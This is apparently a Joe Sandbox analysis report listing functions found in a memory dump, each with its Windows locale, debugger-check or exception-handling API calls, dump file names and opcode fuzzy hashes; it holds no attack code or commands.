Function 0085DE1A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,?,00000002), ref: 0085DE2E
FormatMessageA.KERNEL32(00001300,00000000,?,?,?,00000000,00000000), ref: 0085DE55

Strings

!x-sys-default-locale, xrefs: 0085DE29

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: bb9c14ba59be52cbaf6b4f40ec880a2f55f8db768b745d2bf778f62d6e1e983e
Instruction ID: b977e00bb4313870d90cc94321902bf7b759973c46220f9ea1567978388ae17c
Opcode Fuzzy Hash: bb9c14ba59be52cbaf6b4f40ec880a2f55f8db768b745d2bf778f62d6e1e983e
Instruction Fuzzy Hash: 4DF03076614208BFEB149B98CC0BDFB7BACEB19391B004015BE05DA141E2B0AE409761

Function 008E3DC3 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008E3E17
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008E3E61
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008E3F27

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 4cf7a3ec88c4fdc097bfb8c7412f174b7bfcf6c51493d6cf31cff43e67876e41
Instruction ID: fe89e13ac7b0b661c57dd2acc7d4bfd95e76666d12664245ae270c07bcee616c
Opcode Fuzzy Hash: 4cf7a3ec88c4fdc097bfb8c7412f174b7bfcf6c51493d6cf31cff43e67876e41
Instruction Fuzzy Hash: 6B619E719142479BDB289F2ACC86BAAB7A8FF06300F144079E905D7685EB74DE85CB50

Function 00897465 Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0089755D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00897567
UnhandledExceptionFilter.KERNEL32(?), ref: 00897574

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 07273838956fa8027eaa51eb0a4f7234426388f003512b4a15183ea94d1ecf8f
Instruction ID: b1bf4c71dbd24519e9c8918cff7e79bd2f81f09dbade0e58fcfcd0222e611600
Opcode Fuzzy Hash: 07273838956fa8027eaa51eb0a4f7234426388f003512b4a15183ea94d1ecf8f
Instruction Fuzzy Hash: 5631C17591522CABCB21DF28D88978CBBB8FF08310F5041EAE41CA7251EB709F818F45

Function 008DE614 Relevance: 1.8, APIs: 1, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf8c31587c488cde28e733050a6cd16c87f43dcf96aa11bc33c4e651f3727ffe
Instruction ID: b5343fe3e0caa3422b49fcc6e3868c6b56b7073e0d470c343335066f7a55eecd
Opcode Fuzzy Hash: cf8c31587c488cde28e733050a6cd16c87f43dcf96aa11bc33c4e651f3727ffe
Instruction Fuzzy Hash: 4451A3B580421DAFDB24EFBCCC89AAAB7B9FF55304F14429EE419D7201EA319E458B50

Function 008E40AA Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008E40FE

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ed02610835d02e41a39374f35be1fa09bfd5aa3d7718b29978f6910d273c058e
Instruction ID: cd3c0d428652b1958ecac5908d148fe7ef171ff0cfb6a24a4020743c9fc72bb9
Opcode Fuzzy Hash: ed02610835d02e41a39374f35be1fa09bfd5aa3d7718b29978f6910d273c058e
Instruction Fuzzy Hash: D521F57261424AABDF289E2ACC41ABB73ACFF56704B1010B9F909C6141EB34DD80C714

Function 008E3C55 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(008E3DC3,00000001), ref: 008E3CC7

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 3637090f4a1d0e982a27c57583cb3d4757d423a3ab610d13a9028f030f63b13a
Instruction ID: 8bd3f339eac7a47b9cfc3705037253bb6ddc17dfd9f49924fe8fdd9ec299a420
Opcode Fuzzy Hash: 3637090f4a1d0e982a27c57583cb3d4757d423a3ab610d13a9028f030f63b13a
Instruction Fuzzy Hash: 0C11023A2047059FDB189F3A88956BABB91FF81358B24442DEA4797A40D375BE42CB40

Function 008DDE9D Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 008DDEA4

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: DebuggerPresent
String ID:
API String ID: 1347740429-0
Opcode ID: f781c54eeafa0fa931561c414c6bd4f4fbb19aeae892aa6cebdc2a52438ca783
Instruction ID: 8be5455af1006fbd50d98c10b530c27a7261472b2f4d068bef96d099aae0c3f8
Opcode Fuzzy Hash: f781c54eeafa0fa931561c414c6bd4f4fbb19aeae892aa6cebdc2a52438ca783
Instruction Fuzzy Hash: 85F0AF3114531D76DE207BA94C06BBE375DFF15378F184512FD06DE241CE21D85291B6

Function 008E4364 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,008E3FDF,00000000,00000000,?), ref: 008E4390

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: f924b2b4bf703a2e0cc3def4d0009382fee76e5311079128fe5884b4e59fb113
Instruction ID: c6e1998e3dec78cbb82bc366a3167082a0f67633e3c6b0bb8694b599988717ad
Opcode Fuzzy Hash: f924b2b4bf703a2e0cc3def4d0009382fee76e5311079128fe5884b4e59fb113
Instruction Fuzzy Hash: B1F02D32600156BFDB285766CC06FBB7764FB41354F151528ED09E3280DB74FE41C6A0

Function 008E3D16 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(008E40AA,00000001), ref: 008E3D60

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 4b7f6ad95bcced433533f331b5bf0d1ba985e9158a3bc90fb20ec8ddec641172
Instruction ID: 01a67772e7714b6266c2633d458fc9f1f1d56c7e8884cff73f5ad3aefb4b7a72
Opcode Fuzzy Hash: 4b7f6ad95bcced433533f331b5bf0d1ba985e9158a3bc90fb20ec8ddec641172
Instruction Fuzzy Hash: 8BF046363043485FDB245F3A8C85A7ABB90FF82368B15842CFA05CB690C2B2AD42C710

Function 008D3706 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(Function_000936F0,00000001,0090F1F0,0000000C), ref: 008D373E

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 73f1c2b9bccc7ab0d0bcdd97abc4242608ec65f61fcdefeae4192ab5b9ee9fe5
Instruction ID: ff6ab51932a98551a8bd5736ffc1dfea34b0a9782253dcd9cc8b0228ffff3a54
Opcode Fuzzy Hash: 73f1c2b9bccc7ab0d0bcdd97abc4242608ec65f61fcdefeae4192ab5b9ee9fe5
Instruction Fuzzy Hash: CAF049B6A18208DFD710DF9CE806BAD7BB0FB48721F10412AF418DB3A1DBB559409F42

Function 0088459C Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,00000022,00000000,00000002), ref: 008845B5

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8d6b4c9b755ae76bee30d7f654fcf6fa44d497c3d1fc93fdac35d87333c2baa4
Instruction ID: be926744aa17b8079ebf94b5ce6bbaf7daab973c91d8bc5bce6733956112d1f9
Opcode Fuzzy Hash: 8d6b4c9b755ae76bee30d7f654fcf6fa44d497c3d1fc93fdac35d87333c2baa4
Instruction Fuzzy Hash: 67E09233650206A7D705EBBC9A1FF6E76A8FB0070AF004560B203D50C2DEA5CA109251

Function 008E3BD3 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(008E3B03,00000001), ref: 008E3C0A

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 662803dd84885be072c8fd0dfcdbe618f02158eaeb395e4638c6a0e5324326a9
Instruction ID: 0358427790e89e97283f8729f77a1193a67e7cbcece36ee7ddea6dc59ae7b2df
Opcode Fuzzy Hash: 662803dd84885be072c8fd0dfcdbe618f02158eaeb395e4638c6a0e5324326a9
Instruction Fuzzy Hash: 71F0553A30024857CB149F3AC80976ABF90FFC2720B164058EA0ACB240C2759E82C790

Function 008D4450 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,?,?), ref: 008D4484

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: fd489196e581ae3165cf5370914788b938cea1ce9d463fa2deeef56476c1bcea
Instruction ID: 5443a8995103e4448b62922a38fcf2138926853c530c0124d5ac8b8db6ac778f
Opcode Fuzzy Hash: fd489196e581ae3165cf5370914788b938cea1ce9d463fa2deeef56476c1bcea
Instruction Fuzzy Hash: DBE01A36505118BBDF122F64DC05B9E3F1AFB44760F148112F909A5221CB728E61AAD6

Function 008D38F5 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(Function_000936F0,00000001), ref: 008D390F

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 845af18f23bc55150fb5af42e784872bc4b412058c24fc75fc0af097716266f5
